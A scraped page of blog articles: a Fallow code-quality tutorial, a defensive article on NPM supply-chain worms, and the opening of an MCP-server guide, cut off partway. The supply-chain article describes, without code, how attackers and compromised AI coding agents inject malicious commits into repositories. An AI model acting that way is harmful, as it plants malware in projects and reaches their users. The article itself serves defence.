AI coding agents have a tendency to generate code that isn’t particularly maintainable. They often duplicate logic, create massive files, and produce overly complex functions that are difficult for humans to understand. As these issues accumulate over time, they can turn a codebase into a significant maintenance burden.

In many cases, asking an agent to refactor simply results in even more code being added. Manually cleaning up the code isn’t always a practical alternative either, as reviewing and refactoring large AI-generated codebases can be extremely time-consuming.

Enter Fallow, a TypeScript and JavaScript code analysis tool designed to help you keep your codebase healthy. Fallow identifies unused code, duplicate logic, and large, complex sections of code that are likely to become technical debt if left unchecked. It gives you a clear picture of where your codebase is becoming difficult to maintain before those problems grow into something much larger.

In this article, you’ll learn how to set up Fallow in your project, understand the reports it generates, and integrate it into your AI-assisted development workflow.

Why does clean code still matter in the age of AI?

One thing many developers believe AI will take away is the need to write clean code. The push for clean code has always been about preventing technical debt and spending less time untangling messy logic, making future changes easier and less expensive.

But what if the average developer believes they no longer need to worry about what their code looks like in the future because they see it as AI’s responsibility? That’s one way AI is changing the software industry. And to be fair, it’s a reasonable perspective. AI is becoming increasingly capable of maintaining and modifying its own code. But AI is still AI, and the results can be unpredictable.

That said, this isn’t always the reality. Most developers don’t write messy code because they lack the knowledge or don’t care about quality. More often, they’re working under tight deadlines, shifting priorities, and constant pressure to deliver. That’s understandable.

The problem comes later. When a codebase has accumulated years of technical debt and become difficult to understand, relying entirely on AI may not be enough. If that tool fails, you could find yourself hiring a team of developers to rewrite large parts of the application. That’s an expensive outcome, especially since many developers are hesitant to work with codebases that are difficult to maintain.

That’s why clean code still matters in the age of AI. Whether code is written by a human, an AI agent, or a combination of both, maintainability should remain a priority throughout a project’s lifecycle. AI can speed up development, but it shouldn’t become an excuse to neglect the long-term health of your codebase.

What is `Fallow`?

Fallow is a free, Rust-native codebase intelligence tool designed to analyze TypeScript and JavaScript projects. It acts as an automated code audit tool that provides factual analysis about a project’s overall code quality, structure, and execution pattern.

Unlike formatters and linters, which treat a codebase as a collection of individual files, Fallow treats it as an interconnected system. Because it is built on the Oxc parser ecosystem, it can sweep through codebases at sub-second speeds, making it significantly faster than older tools like knip or jscpd.

A major differentiator for Fallow is its native compatibility with AI agents. Because LLMs have limited context windows and cannot easily map a massive repository’s dependency graph, Fallow can serve as the source of truth for the AI.

Fallow combines several distinct auditing responsibilities into a single binary, which generates the following report in a single run:

Dead code analysis
Code duplication
Health and complexity scoring

To integrate seamlessly into modern developer workflows, it provides an MCP server and structured JSON output that contains machine-actionable action arrays, which enable AI agents to trigger automated tools, catch structural clutter, and self-correct code before it is ever committed.

Getting started with `Fallow`

Fallow has two intelligence layers: Static Intelligence and Runtime Intelligence.

The Static Intelligence layer is free and analyzes how your codebase is wired together. It helps you understand relationships between files, identify unused code, detect dead exports, and uncover other structural issues.

The Runtime Intelligence layer is optional and paid. It provides insights into what gets executed in production,

This article focuses only on the Static Intelligence layer because it’s free and provides everything you need to improve your codebase. Setting it up is straightforward too.

Simply run the following command in your project’s root directory:

npx fallow

Fallow doesn’t require any configuration. After you run the command above, it automatically detects your project’s setup by inspecting your package.json file and enables the appropriate plugins and presets. It supports frameworks such as Next.js, Vite, NestJS, SvelteKit, TanStack, and many others.

By default, the command generates a comprehensive report that combines dead code detection, code duplication, and code health and complexity into a single, structured output.

If you prefer, you can run each analysis separately using any of the following commands:

npx fallow dead code
npx fallow dupes
npx fallow health

You can also install Fallow as a development dependency if you want everyone who works on the repository to have access to it.

npm install --save-dev fallow

How do you read Fallow’s output?

The first time you run Fallow, the output can feel overwhelming because of the amount of information it provides. In this section, we’ll run Fallow against a vibe-coded application and walk through each part of the report so you can understand what it means and how to act on it.

As mentioned earlier, Fallow‘s report is divided into three main sections: Dead Code, Duplication, and Health.

How does Fallow detect dead code?

This section highlights code that isn’t structurally connected to anything else in the project, including unused files, exports, dependencies, types, and more.

As shown in the image above, each category is grouped into its own subsection under the Dead Code report.

Each subsection contains a list of file paths and the functions, exports, or declarations that Fallow has identified as unused.

To remove them, open the listed file and locate the corresponding code. Since dead code isn’t referenced anywhere else in the codebase, it’s generally safe to remove without breaking your application.

That said, Fallow can occasionally flag entry-point code as dead because it’s referenced from outside the file rather than through the project’s internal dependency graph. It’s worth reviewing these cases before deleting anything.

If you’d rather let Fallow handle the cleanup, you can run the following command to automatically remove dead code:

fallow fix –dry-run

This command may not always produce the expected results, so it’s a good idea to review the changes before committing them.

How does Fallow detect duplicate code?

The Duplication section is one of the most valuable parts of the report because it highlights code blocks that are repeated across your codebase. The output looks like this:

Like the Dead Code section, the Duplication report is divided into individual entries. However, there are a few important differences. Fallow uses AST-equivalent token matching to detect duplicate code, grouping each set of matches into what it calls a clone group.

The duplicated code block
The line count: which shows how many lines the duplicated block contains
The instances: which list the files and line ranges where the duplicated code appears

Let’s use the first clone group in the report shown above as an example.

In this case, the clone group indicates that the code block within the 98 – 179 line range inside the login.tsx file has 82 lines of repeated code in the signUp.tsx file.

Fallow‘s duplication detection is also more nuanced than a simple text comparison. It supports multiple detection modes that can identify duplicated logic even when variable names, strings, or other identifiers have been renamed. You can learn more about these modes in the documentation.

What are Fallow’s complexity and health metrics?

This section focuses on code complexity metrics for individual functions and files. It measures how difficult different parts of your codebase are to understand and maintain.

The report is organized into several subsections that highlight files with large functions, highly complex functions, low file health scores, and other maintainability concerns.

How does Fallow identify large functions?

The Large Functions section lists every function that exceeds Fallow‘s size threshold, along with its location in the codebase. For each entry, it shows the function name, the starting line, and the total line range.

Using the first entry in the example above, we can see that the signup.tsx file contains a signupForm function that starts on line 13 and spans 196 lines.

How does Fallow measure code complexity?

The High Complexity Functions section can look intimidating at first, but it simply measures how difficult a function is to understand, maintain, and test. Fallow reports three complexity metrics for each function:

Cyclomatic: The cyclomatic complexity score indicates how many different branches there are in a function. What this essentially means is that every time you have an if statement, a ternary, or a switch statement in your code, it adds to the cyclomatic complexity count. In the example above, the handleSubmit function has a cyclomatic complexity of 7, meaning it contains seven execution paths, which is still a reasonable score
Cognitive: This measures how difficult a function is to read and understand. Deep nested if statements, loops, and other control-flow structures increase the cognitive complexity because they make the code harder to follow. In the example, the handleSubmit function has a cognitive complexity of 4
CRAP: The CRAP (Change Risk Anti-Patterns) score combines a function’s complexity with its test coverage. A complex function with little or no test coverage receives a high CRAP score, while a similarly complex function with good test coverage scores much lower. In the example above, the handleSubmit function has a high CRAP score because it’s relatively complex and doesn’t have corresponding tests

How does the File Health Score work?

The File Health Score section provides an overall assessment of each file’s maintainability. It takes several factors into account, including the file’s complexity, the amount of dead code it contains, the number of files it imports, and how many other files depend on it.

These metrics are combined to produce a health score and an associated risk level. The risk score is influenced by multiple factors, with high CRAP scores contributing significantly because they indicate complex code with insufficient test coverage.

What are Hotspots in Fallow?

The Hotspots section identifies the files that are most likely to become maintenance problems over time. It analyzes your Git history to determine which files change most frequently and combines that information with each file’s maintainability metrics.

This is because a complex file that is modified in almost every pull request is far more likely to accumulate bugs and technical debt than one that’s rarely touched.

As a result, files that change frequently and have poor maintainability scores are ranked highest in the Hotspots report.

How does Fallow identify refactoring targets?

This is the final section of the report. It provides a ranked list of the best places to start refactoring based on the effort required and the potential impact.

Files are ranked using a combination of complexity, duplication, and dead code metrics, helping you identify the changes that are likely to deliver the greatest return for the least amount of work.

Think of this section as a high-level cleanup roadmap. Instead of focusing on individual issues, it helps you decide where to invest your refactoring effort first.

How do you configure Fallow?

Although Fallow doesn’t require any configuration to generate a useful report, as we’ve seen in the previous sections, it can occasionally produce false positives, particularly in the Dead Code and Duplication reports.

This happens because static analysis can’t always distinguish intentional patterns from actual issues. For example, duplicated code in test files, repeated data structures, or application entry points may be flagged as duplicate or unused even though they’re required.

To reduce these false positives, you can create a configuration file. This allows you to specify your project’s entry points, define files and directories to ignore, and customize other settings so Fallow can produce more accurate results.

npx fallow init

This command generates a .fallowrc.json file in your project’s root directory. Open the file, set your project’s entry points, and add any files or directories you want Fallow to ignore to the ignorePattern field, as shown below:

{
   "$schema":      "https://raw.githubusercontent.com/fallow-rs/fallow/main/schema.json",
  "entry": ["src/workers/*.ts", "scripts/*.ts"],
   "ignorePatterns": [
    "src/data/data/**",
    "**/*.generated.ts",
    "**/__tests__/**"
    ]
 }

You can also configure the severity of individual rules on a per-file basis, or disable rules you’re not ready to enforce by setting their severity to off. Fallow also lets you customize its duplication detection mode and many other aspects of its analysis.

{
    "rules": {
    "unused-files": "error",
    "unused-exports": "warn",
    "unused-types": "off",
  },
  "duplicates": {
    "mode": "mild",
    "minTokens": 50,
    "minLines": 5,
    "threshold": 10
  },
}

In cases where you have unused exports that are consumed by external projects and therefore have no internal references, you don’t have to exclude the entire file. Instead, you can use Fallow‘s inline suppression comments (fallow-ignore) or JSDoc visibility tags to selectively ignore those exports.

// Suppress all issues on the next line
// fallow-ignore-next-line
export const keepThis = 1;

// Suppress a specific issue type
// fallow-ignore-next-line unused-export
export const keepThisToo = 2;

Fallow recognizes four JSDoc visibility tags: @public, @internal, @beta, @alpha:

/** @public */
export function createClient() {
  // Not imported anywhere in this repo, but consumed by users of the library
}

/** @internal */
export function resetState() {
  // Used by sibling packages in the monorepo, not public API
}

Fallow also provides the @expected-unused JSDoc tag for exports that are intentionally unused. Unlike visibility tags, this annotation is tracked. If the export is eventually referenced, Fallow marks the tag as stale, letting you know it’s no longer needed and can be removed.

/** @expected-unused */
export const deprecatedHelper = () => {
  // Intentionally kept but not used anywhere
};

To learn more about inline suppressions and the many ways you can configure Fallow, refer to the documentation.

Integrating `Fallow` into your workflow

Where Fallow really shines is its integration with AI-assisted development workflows. The idea is to instruct your coding agent to run Fallow against every newly implemented feature and use the report to fix any issues before considering the task complete.

Every Fallow command accepts the --format json flag, which returns a structured JSON object that AI agents can easily parse. For example, running the default fallow command with the flag:

npx fallow --format json

Executes every analysis combined: dead code, duplication, and health metrics, and returns a single JSON report like the one in the image below.

The returned JSON object includes an actions array containing suggested fixes, along with an auto_fixable flag that tells the agent whether an issue can be resolved automatically. This allows the agent to decide whether to run fallow fix –yes for straightforward fixes or implement the changes manually when needed.

You can then instruct your AI agent, either through an agent.md file or manually, to run Fallow with the --format json flag before every commit, ensuring new code meets your project’s quality standards.

How do you use the `Fallow` AI skill?

An even better option is to install Fallow‘s official AI skill if your coding agent supports it. The skill gives the agent access to Fallow‘s commands directly, so it doesn’t have to guess which commands to run or how to use them.

You can install it in Claude through the plugin marketplace or by running the following command:

/plugin marketplace add fallow-rs/fallow-skills
/plugin install fallow-skills@fallow-rs/fallow-skills

For Codex, Copilot, Cursor, and other supported agents, install the skill into the agent’s respective skills directory using the following command:

git clone https://github.com/fallow-rs/fallow-skills.git

Once the skill is installed, the agent can automatically choose the appropriate Fallow analysis, Dead Code, Duplication, or Health, based on the task you’ve given it. It then uses the results to perform the actions you’ve instructed, whether that’s fixing issues, refactoring code, or generating recommendations.

How do you use the `fallow-mcp`server?

Another way to integrate Fallow into your workflow is by installing the fallow-mcp server, provided your AI client supports MCP. Once installed, all you need to do is add the following configuration to your client’s MCP settings:

{
  "mcpServers": {
    "fallow": {
      "command": "fallow-mcp"
    }
  }
}

With that in place, your agent will have access to tools such as analyze, check_changed, and find_dupes, which allow it to inspect your codebase and return structured results that it can act on.

How do you integrate Fallow into a CI/CD pipeline?

While your AI agent will generally follow Fallow‘s recommendations and the policies you’ve configured, it won’t always get it right. It’s still an AI, and there may be times when it ignores an issue, proceeds with the implementation, and pushes code that shouldn’t make it into production.

To guard against this, you can add Fallow as a final quality gate in your CI/CD pipeline. This ensures every change is analyzed before it’s merged or deployed, even if your AI agent fails to follow your instructions.

Fallow integrates with virtually any CI platform. For example, to use it with GitHub Actions, simply add the following code to your workflow file:

name: Fallow analysis
on: [push, pull_request]


jobs:
  fallow:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: fallow-rs/fallow@v2
        with:
          format: sarif

With this in place, your CI pipeline will catch dead code, duplication, complexity, and other code quality issues that slip past your AI agent or manual review on every push or pull request.

For instructions on integrating Fallow with other CI platforms and customizing its configuration, refer to the documentation.

Conclusion

In this article, you learned how to use Fallow to analyze your codebase, identify dead code, duplicate logic, and maintainability issues, and integrate those insights into your AI-assisted development workflow.

Fallow offers far more than we’ve covered here, with additional configuration options, analysis modes, and integrations to suit different projects and workflows. Explore the documentation to customize its behavior and make it a regular part of your development process. As AI-generated code becomes more common, tools like Fallow can help ensure your codebase stays clean, maintainable, and easy to evolve.

How to secure full-stack projects from NPM attacks

Shalitha Suranga — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

2025 and 2026 reminded every full-stack developer about how vulnerable their full-stack project development and deployment workflows are. Axios, Chalk, TanStack, Debug.js, and many popular NPM packages with millions of weekly downloads were compromised by the highly destructive Shai-Hulud worm, its variants, and similar supply chain worms, which silently steal data and spread. Meanwhile, developers’ AI agent instances, including OpenClaw, were compromised and spread immutable blockchain-backed Claw-Havoc-like worms, injecting undetectable malicious code into their serious full-stack projects via altered Git commits.

Strengthening your app security isn’t always about improving authentication, rate limiting, user-input validation, and using security precautions to protect the running production app instance ; highly destructive supply chain worms can enter at any weaker point in your development and deployment workflows and propagate to the production app, gaining threat actors full access to the running production app instance.

I’ve put together a practical checklist for securing full-stack projects, based on what I learned from the codebase compromise incident involving my most popular open source project, Neutralinojs. In this article, we’ll look at how modern supply chain attacks affect projects and walk through a practical security checklist to help protect your own.

Why are NPM supply chain attacks increasing?

Modern cloud-based digital products are nearly impossible to hack directly from public networks due to advanced security implementations, security-first design practices, and hardware/algorithmic limitations (the slowness of integer factorization protects RSA). So, threat actors try to gain access to highly protected products indirectly using supply chain threats.

What is a supply chain attack?

A supply chain attack refers to a digital product security attack where a threat actor gradually gains unauthorized access to a larger, more secure software system by compromising its supply chain components, which include dependency packages, developer PCs, DevOps servers, and third-party development or deployment services.

Modern supply chain attacks use worms that spread exponentially among the developer community as obfuscated JavaScript code until they reach secure, production projects.

How does a supply chain worm spread?

Supply chain worms have a rapid spread cycle. They enter the developer community codebases at a weaker point, usually via social engineering or compromised code, compromise developer PCs, and spread to another dependency project, and so on, until the worm reaches a larger, secure software system that threat actors are interested in.

The following diagram depicts this cycle:

Which projects were affected by recent NPM supply chain attacks?

Maintainers and security researchers found compromised versions of the following popular projects and unpublished affected versions:

Project/project group name	Description	The initial security attack date	Reports and discussions
Axios	A threat actor stole NPM credentials from the lead maintainer’s PC and published two infected package versions	March 31, 2026	GitHub issue
TanStack	A threat actor published 84 infected package versions using the GitHub Actions cache poisoning technique	May 11, 2026	TanStack blog post
Chalk	A lead maintainer’s NPM account got hacked via email phishing, and an infected version was published	September 8, 2025	GitHub issue
Debug.js	A lead maintainer’s NPM account got hacked via email phishing, and an infected version was published	September 8, 2025	GitHub issue

In addition to these popular packages, thousands of other NPM packages were compromised. Even though infected NPM package versions often get removed, malicious JavaScript payloads are still present in many online code repositories:

What does a supply chain worm do?

Supply chain worms aren’t created just to replicate, and over in code repositories, they typically install remote access trojans (RATs) and do the following harmful activities:

Steal protected data, such as API keys, login credentials, session keys, private source codes, and confidential data
Spread ransomware that encrypts valuable data files or viruses that make PCs or servers unresponsive
Install crypto miners to steal hardware processing power
Communicate with C2 (command and control) servers and perform tasks that threat actors instruct, e.g., executing system commands for data extraction and harmful purposes

How do supply chain attacks compromise full-stack projects?

Your full-stack project codebase can get compromised without you even noticing, in the following ways:

How can compromised dependencies infect your project?

This has happened for millions of users of recently compromised NPM packages. They installed the usual, trusted package, but received a compromised package with injected malicious code instead. Their PCs and servers got infected right after they downloaded the compromised version (via NPM postinstall scripts) or when they ran the project manually after a package upgrade. The original package can be compromised if the maintainer’s PC or build server is compromised or the maintainer’s developer keys are stolen.

Apart from compromised original packages, you may accidentally mistype a package name and install a malicious package. Threat actors use these techniques:

Brandjacking: A malicious package uses a part of the trusted name to gain trust, e.g., using <service>-api or <service>-client
Typosquatting: Exploiting typing errors to let developers install malicious packages, e.g., if the original package is loremipsum, threat actors may create malicious packages using lorenipsum or similar names

Can weak code reviews introduce malware?

My biggest fear in open-source development is that I compromise one of my own projects by merging a malicious pull request, so I am extra careful while doing code reviews. This is not overthinking . A threat actor can contribute to your project as a trustworthy contributor and later submit pull requests with malicious payloads. On the other hand, an innocent contributor’s compromised personal AI assistant can automatically inject malicious payloads into their open pull requests.

Just scanning through code suggestions and merging pull requests can silently include supply chain malware in your codebases. GitHub pull request previews don’t expand larger Git diffs by default; a malicious payload can hide within a larger diff.

How do weak permissions increase supply chain risk?

Setting broad permissions, very long token expiry durations, and forgetting to revoke permissions when necessary make your project vulnerable to supply chain attacks. Here are some possibilities:

A compromised GitHub account of a former contributor who still has write access to your project codebase can inject malicious code, without the former contributor noticing
A threat actor who stole a token from a newly hired developer’s PC can gain access to all repositories if the particular token isn’t properly scoped, only for onboarding-related repositories

Can copied code and commands infect your project?

We often copy-paste short code snippets and commands from documentation, forums, and AI chats into our codebases. Threat actors can create fake resources and trick you into copying malicious code snippets and commands to your system clipboard. Once you paste these malicious code snippets into projects or run commands on the terminal, your PC and projects can get infected.

Threat actors can initiate the supply chain attack strategy with classic phishing and social engineering tactics. Here are some possibilities:

You’ve received a fake email that asks you to update a dependency via npm install <package> to fix a critical security vulnerability, but the command installs a malicious NPM package
You’ve received an email that leads to a fake coding interview that asks you to download a malicious coding test repository, e.g., a legitimate-looking project with a malicious npm run build command configuration
A threat actor acts as your friend, sends a WhatsApp message, asks you to run malicious code on the terminal, saying that the result is your birthday gift

How can CI/CD pipelines be compromised?

Even if you strengthen security for the codebase while it’s in developers’ hands, your full-stack projects can still get compromised inside CI/CD workflows. Here are some possibilities:

CI servers: A compromised CI workflow plugin or a cache poisoning campaign can push a malicious payload and send an automatic, legitimate-looking pull request or directly update the codebase based on available codebase permissions
CD servers: A CD workflow plugin or a cache poisoning campaign can silently inject a supply chain worm or Trojan inside official build artifacts and make a legitimate-looking software release

Can AI coding assistants spread supply chain malware?

Nowadays, the trend is to use personal AI assistants to automate most daily tasks. Developers also use AI assistants like OpenClaw and terminal-based AI agents to improve coding productivity. They’ll give code repository access permissions to these AI agents for automated development experimentation.

What if these AI agents get compromised? Then, they can:

Push malicious code into code repositories that you have write access
Submit malicious pull requests to projects you contribute to

Four GitHub repositories of the Neutralinojs framework were compromised in March, 2026. One of the former contributors had direct write permissions to the main branch of all repositories, and a compromised OpenClaw skill that the past maintainer mistakenly installed could inject malicious JavaScript payloads into Neutralinojs repositories by altering several original Git commits:

How do you protect full-stack projects from supply chain attacks?

Protecting full-stack projects from supply chain attacks requires securing every stage of your development and deployment workflow, from dependencies and code reviews to permissions, CI/CD pipelines, and developer credentials. Based on the lessons I learned from the Neutralinojs project’s codebase compromise incident, I’ve put together the following practical security checklist. Use it as a baseline for defending any software project against modern supply chain malware.

Implement Git hosting branch protection rules: This should be the first remote repository configuration step for any serious software project. Block direct pushes and force pushes to primary Git branches, so even though a threat actor gains access to your repository content modification, they can’t update primary branches that others typically use to download the latest codebase snapshot
Store remote Git tokens securely: Never let Git store tokens in plain text. For example, don’t use store for the credential.helper configuration key on Linux, as it stores tokens in plain text. Plain-text tokens can be easily stolen if your PC gets compromised. Use Linux libsecret-like secure, encrypted storage for Git tokens
Invest time in evaluating dependency security: Choose dependencies wisely by evaluating them from a security perspective. Look for unresolved CVEs and public security reports before integrating a dependency into your full-stack projects
Use strict permission-handling rules: Never set broad permissions ; narrow them to match access requirements exactly. Immediately revoke permissions when developers are leaving your project
Improve code review workflows: Never rely solely on AI code reviewing tools or quick human reviews ; a malicious code snippet can fool AI and sneak through quick human code reviews. Use multiple manual strict approvals and use an AI code review tool as a reviewing assistant to strengthen security and improve reviewer productivity in code reviews:

Make 2FA mandatory as a team-wide rule: If the account owner doesn’t fall into the threat actors’ scamming tricks and physical 2FA devices are securely stored, most account hijacking attempts stop at the 2FA layer
Maintain continuous dependency security audits: Keep your dependencies up-to-date using automated dependency update services (e.g., GitHub Dependabot). Besides, actively check important security notices published by dependency projects, so you can take immediate action if a dependency version gets compromised

Don’t immediately trust new dependency releases: A threat actor can make a trusted dependency compromised and publish malicious versions. Verify whether new releases are genuine by browsing official release notes and community response before manually updating dependencies
Know about vulnerable actions in programming: Educate yourself and all project members about programming actions that could open the codebase to supply chain attacks, including mindless copy-pasting from unknown sources, mistyping dependency names, using untrusted software in PCs, compromised pull requests, and trusting fake developer service emails (e.g., a fake NPM 2FA update email caused the Chalk package compromise incident)

What should you do after a supply chain attack?

If your project is compromised, your first priority should be to stop the malware from spreading, secure your development and deployment infrastructure, and assess the impact. Even if you follow every known precaution, there is still a risk of a codebase compromise. The important thing is to respond quickly and methodically to protect your project, your contributors, and your users.

My largest open source project, Neutralinojs, was also compromised (only the codebase, luckily not the NPM packages) during the recent supply chain attack wave. With the help of the OpenSourceMalware (OSM) team, I took immediate action to contain the incident, safeguard the project, and maintain user trust.

Here is the practical list of actions that you can take immediately after a full-stack project or any digital product is compromised:

Disable all CI/CD workflows to eliminate the risk of generating compromised releases or initiating any form of repository updates that spread the supply chain worm
Revoke all Git repository hosting, package deployment, and other development/deployment-related tokens, e.g., revoking GitHub and NPM tokens
Security audits take time, so let closer stakeholders (e.g., the leadership team) know that the project is compromised with broad findings so far, including known impacted regions like repositories, releases, Docker images, etc. You may not know the exact infected releases or repositories at this stage; mentioning what components are affected is enough. Start a security notice thread in a way that closer stakeholders won’t panic, but stay updated
Initialize a high-priority, quick security audit by going through repository logs, unverified commits, and package publishing logs. If your project doesn’t have a dedicated security team, you can get help from external security professionals. For example, the OSM team helped to scan Neutralinojs repositories. This quick audit should not span several days ; the goal is to identify exactly what project modules are compromised and what the root cause is while minimizing the ongoing damage
If a forced Git push compromised the codebase, immediately block content write permissions for the specific Git user. Take actions based on audit findings and based on your product type to protect users

Project type	Key actions to protect users
SaaS product	Audit for possible user data breaches, unusual user activity, and overall impact on the customer
NPM package	Unpublish infected versions
Standalone product (i.e., mobile app or desktop app)	Remove infected versions from the official downloads and app stores. Notify users using the most effective channel (e.g., using a security warning on the official website)

Initiate a deep security audit to make sure the previous audit didn’t miss anything and identify necessary precautions that the project should implement to prevent future supply chain threats. Neutralinojs’s security audit results help me create the above supply chain security checklist
Restore development and deployment workflows with fresh tokens and deploy fresh builds. Do a regression test to verify all restored workflows and product access from the user’s perspective
Publish a detailed incident report for all users and everyone involved with the project. This should include the timeline of the attack and recovery, the exact impacted product versions, who has the risk of getting malware, impact on user data, and advice for users to safeguard their devices and data (e.g., rotating API keys, changing passwords, scanning devices, etc)

In any security incident in any software project, the goal should be to handle it progressively and effectively without panicking, as panic can cause more severe damage to your product than the supply-chain malware does.

Conclusion

Malware and software attack strategies are evolving. With tech-savvy users, traditional phishing and social engineering threats are coming to an end. Threat actors use the supply chain attack method to gain access to larger software systems by creating malware that sneaks through development and deployment workflows. A simple package name mistype could be a severe disaster! We can’t blame the runtime environment’s security issues (e.g., Node.js enables all permissions by default, considering backward compatibility) for supply chain incidents ; implementing supply chain security precautions regardless of the runtime environment is the key.

Being a non-JavaScript backend developer doesn’t mean you are safe; supply chain malware can hide in Python, Go, Rust, or any backend module; e.g., see compromised PyPI modules on OpenSourceMalware explorer. You can implement supply chain security for any software project by adhering to the above checklist; it will safeguard full-stack web, mobile, desktop, CLI, or any project written in any programming language.

Axios, TanStack, and other recently compromised projects are now clean and still available today with the same trust as before, so a supply chain compromise incident isn’t the end of your project . Take the actions explained above immediately with the highest priority if your project was infected with supply chain malware.

#full stack

The top 15 MCP servers for your AI projects

Ikeh Akinyemi — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

The Model Context Protocol (MCP) has settled into its role as the standard way to connect AI models to external tools and data. It is now backed by the Agentic AI Foundation under the Linux Foundation, with Anthropic, OpenAI, Google, and Microsoft on the board, and it powers everything from file system access and API integrations to database queries and automated workflows across clients like Claude Desktop, Claude Code, Cursor, and VS Code.

This guide walks through 15 essential MCP servers for web developers, with current setup steps, use cases, and the config you actually need. For a full walkthrough on getting started with MCP servers, check out this article.

What is the difference between stdio and Streamable HTTP?

MCP servers speak JSON-RPC over a transport. Early remote servers used an HTTP+SSE transport that required two endpoints: a long-lived GET /sse stream for server-to-client messages and a separate POST endpoint for requests. That design was fragile behind load balancers and serverless platforms, and it was deprecated in the 2025 spec revision in favor of Streamable HTTP, which uses a single endpoint (typically /mcp) that can optionally upgrade to an SSE stream for long-running calls. With the current stable spec, only two transports are recognized: stdio for local servers, the client launches as a subprocess, and Streamable HTTP for anything remote or multi-client.

Two more things worth knowing. Remote servers have largely standardized on OAuth 2.1, replacing hand-rolled token flows, and now support a browser-based sign-in. There is ongoing work to make the protocol fully stateless, but it is not final yet. For more details, refer to the official MCP documentation.

Below is a comparison table of the 15 servers this guide covers, showing their transports, authentication, and hosting at a glance.

Server Name	Primary Use Case	Key Features	Installation Method	Authentication	Transport	Official vs Community	Pricing/Free Tier
GitHub MCP Server	Code automation & analysis	Pull requests, code scanning, repo management	Remote endpoint or Docker	OAuth 2.1 or PAT	Streamable HTTP (remote), stdio (local)	Official (GitHub)	Free
MongoDB MCP Server	Database operations	NL queries, Atlas management, schema ops	npx package or Docker	Connection string or Atlas service account	stdio (default), HTTP option	Official (MongoDB)	Free tier available
Azure MCP Server	Cloud service integration	Storage, Cosmos DB, Log Analytics, App Config	npx package	Azure credentials (automatic)	stdio, Streamable HTTP	Official (Microsoft)	Pay-per-use
Context7 MCP Server	Live library documentation	Version-specific docs injected into context	npx package or remote endpoint	None, or API key header (higher limits)	stdio, Streamable HTTP	Community (Upstash)	Free tier available
Cloudflare MCP Server	Edge computing & CDN	Workers, observability, Radar, full API via Code Mode	Remote endpoints or mcp-remote	OAuth or API token	Streamable HTTP (`/mcp`)	Official (Cloudflare)	Free tier available
Firebase MCP Server	Backend-as-a-Service	Firestore, Auth, Cloud Functions, project mgmt	npx (firebase-tools mcp)	Firebase CLI auth	stdio	Official (Google)	Free tier available
Google Cloud Run MCP Server	Serverless deployment	Container deploy, service & project management	npx (@google-cloud/cloud-run-mcp)	Google Cloud SDK / OAuth	stdio, Streamable HTTP	Official (Google)	Pay-per-use
JetBrains MCP Server	IDE integration	Code intelligence, project analysis via IDE proxy	npx package + IDE plugin	None (local IDE connection)	stdio	Official (JetBrains)	Free with IDE
Docker MCP Server	Container management	Catalog of containerized servers, MCP Gateway	Docker Desktop MCP Toolkit	None (Docker daemon) or per-server	stdio via Gateway	Official (Docker)	Free
Figma MCP Server	Design-to-code automation	Design context, code generation, Code Connect	Remote endpoint or desktop app	OAuth (remote)	Streamable HTTP	Official (Figma)	Remote on all plans; some features paid
AWS MCP Server	Cloud infrastructure	Managed remote server (15k+ APIs) plus specialized awslabs servers	Managed endpoint via proxy, or uvx	IAM / SigV4	stdio, Streamable HTTP	Official (AWS)	Pay-per-use
Netlify MCP Server	Deployment & management	Site deploy, project management, CLI integration	npx package	Netlify CLI auth or PAT	stdio	Official (Netlify)	Free tier available
Prisma MCP Server	Database schema & ORM	Postgres management, migrations, Console integration	Prisma CLI	Prisma Console auth	stdio	Official (Prisma)	Free tier available
Sentry MCP Server	Error monitoring & debugging	Issue retrieval, stack traces, Seer root-cause analysis	Remote endpoint or npx	OAuth 2.1	Streamable HTTP (remote), stdio (local)	Official (Sentry)	Free tier available
Playwright MCP Server	E2E testing automation	Accessibility-tree automation, cross-browser testing	npx package	None (local browser)	stdio, Streamable HTTP	Official (Microsoft)	Free

Which MCP servers should you install first?

If you’re just getting started with MCP, begin with GitHub, MCP, Context7, and Playwright. They provide repository context, up-to-date documentation, and browser automation, covering the majority of developer workflows. From there, add cloud, database, or monitoring servers as your projects require them.

Below are the 15 MCP servers every web developer should know.

What can the GitHub MCP server do?

The GitHub MCP server lets AI models analyze code, manage repositories, and drive development workflows through natural language. GitHub runs a hosted remote server that lives at https://api.githubcopilot.com/mcp/ and authenticates with OAuth 2.1 plus PKCE, which means short-lived credentials and automatic token refresh instead of a long-lived personal access token. Here is the remote configuration:

{
  "servers": {
    "github": {
      "type": "http",
      "url": "https://api.githubcopilot.com/mcp/"
    }
  }
}

Most clients will trigger a browser-based OAuth login on first use. If you prefer a token, you can still pass a PAT as a bearer header, and it takes precedence over OAuth:

{
  "servers": {
    "github": {
      "type": "http",
      "url": "https://api.githubcopilot.com/mcp/",
      "headers": {
        "Authorization": "Bearer ${input:github_mcp_pat}"
      }
    }
  }
}

The local server runs in Docker and is the right choice for GitHub Enterprise Server, which does not host the remote endpoint.

{
  "mcp": {
    "inputs": [
      {
        "type": "promptString",
        "id": "github_token",
        "description": "GitHub Personal Access Token",
        "password": true
      }
    ],
    "servers": {
      "github": {
        "command": "docker",
        "args": [
          "run", "-i", "--rm", "-e", "GITHUB_PERSONAL_ACCESS_TOKEN",
          "ghcr.io/github/github-mcp-server"
        ],
        "env": {
          "GITHUB_PERSONAL_ACCESS_TOKEN": "${input:github_token}"
        }
      }
    }
  }
}

You can scope what the server exposes with the --toolsets flag, and the server offers a read-only mode via the --read-only flag (or GITHUB_READ_ONLY=1 in Docker), which is useful for code review workflows where you want context without write access.

Sample use cases

Teams use it for pull request management, issue tracking driven by repository activity, and code scanning triage, where the model reviews alerts and suggests remediation. The GA remote server also added security advisory lookups, sub-issue management, and PR draft toggling.

const prWorkflow = async (client) => {
 const pr = await client.callTool({
   name: 'create_pull_request',
   arguments: {
     owner: 'owner',
     repo: 'repo',
     title: 'Automated feature update',
     head: 'branch',
     base: 'main'
   }
 });

 const alerts = await client.callTool({
   name: 'list_code_scanning_alerts',
   arguments: { owner: 'owner', repo: 'repo' }
 });

 return { pullRequest: pr, securityAlerts: alerts };
};

What can the MongoDB MCP server do?

The MongoDB MCP server enables natural language queries and data exploration against MongoDB databases and Atlas clusters. It supports direct database operations like find, aggregate, insert, update, and delete, alongside Atlas management tools for cluster administration, user management, and project configuration.

